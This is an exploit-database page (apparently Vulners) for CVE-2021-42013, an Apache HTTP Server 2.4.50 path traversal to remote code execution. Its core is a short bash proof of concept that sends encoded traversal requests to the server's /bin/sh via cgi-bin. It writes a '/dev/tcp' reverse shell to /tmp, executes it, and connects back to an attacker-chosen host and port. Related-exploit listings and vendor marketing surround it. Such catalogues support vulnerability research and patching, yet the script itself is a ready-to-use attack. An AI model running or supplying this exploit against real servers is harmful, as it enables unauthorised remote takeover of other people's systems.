Vulners
Lucene search
Apache HTTP Server 2.4.50 - Remote Code Execution (RCE) (2)
| Reporter | Title | Published | Views | Family All 154 |
|---|---|---|---|---|
 | Exploit for Path Traversal in Apache Http_Server | 24 Jan 202616:34 | – | githubexploit |
| Exploit for Path Traversal in Apache Http_Server | 17 Jun 202213:36 | – | githubexploit |
| Exploit for Path Traversal in Apache Http_Server | 14 Mar 202204:08 | – | githubexploit |
| Exploit for Path Traversal in Apache Http_Server | 26 Oct 202117:56 | – | githubexploit |
| Exploit for Path Traversal in Apache Http_Server | 4 Apr 202222:07 | – | githubexploit |
| Exploit for Path Traversal in Apache Http_Server | 18 Mar 202617:59 | – | githubexploit |
| Exploit for Files or Directories Accessible to External Parties in Apache Flink | 13 Oct 202117:03 | – | githubexploit |
| Exploit for Path Traversal in Apache Http_Server | 15 Oct 202110:38 | – | githubexploit |
| Exploit for Path Traversal in Apache Http_Server | 28 Oct 202511:45 | – | githubexploit |
| Exploit for Path Traversal in Apache Http_Server | 7 Oct 202118:31 | – | githubexploit |
10
# Exploit: Apache HTTP Server 2.4.50 - Remote Code Execution (RCE) (2)
# Credits: Ash Daulton & cPanel Security Team
# Date: 24/07/2021
# Exploit Author: TheLastVvV.com
# Vendor Homepage: https://apache.org/
# Version: Apache 2.4.50 with CGI enable
# Tested on : Debian 5.10.28
# CVE : CVE-2021-42013
#!/bin/bash
echo 'PoC CVE-2021-42013 reverse shell Apache 2.4.50 with CGI'
if [ $# -eq 0 ]
then
echo "try: ./$0 http://ip:port LHOST LPORT"
exit 1
fi
curl "$1/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh" -d "echo Content-Type: text/plain; echo; echo '/bin/sh -i >& /dev/tcp/$2/$3 0>&1' > /tmp/revoshell.sh" && curl "$1/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh" -d "echo Content-Type: text/plain; echo; bash /tmp/revoshell.sh"
#usage chmod -x CVE-2021-42013.sh
#./CVE-2021-42013_reverseshell.sh http://ip:port/ LHOST LPORTData
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
25 Oct 2021 00:00Current
9.2High risk
Vulners AI Score9.2
CVSS 27.5
CVSS 3.19.8
EPSS0.9441
SSVC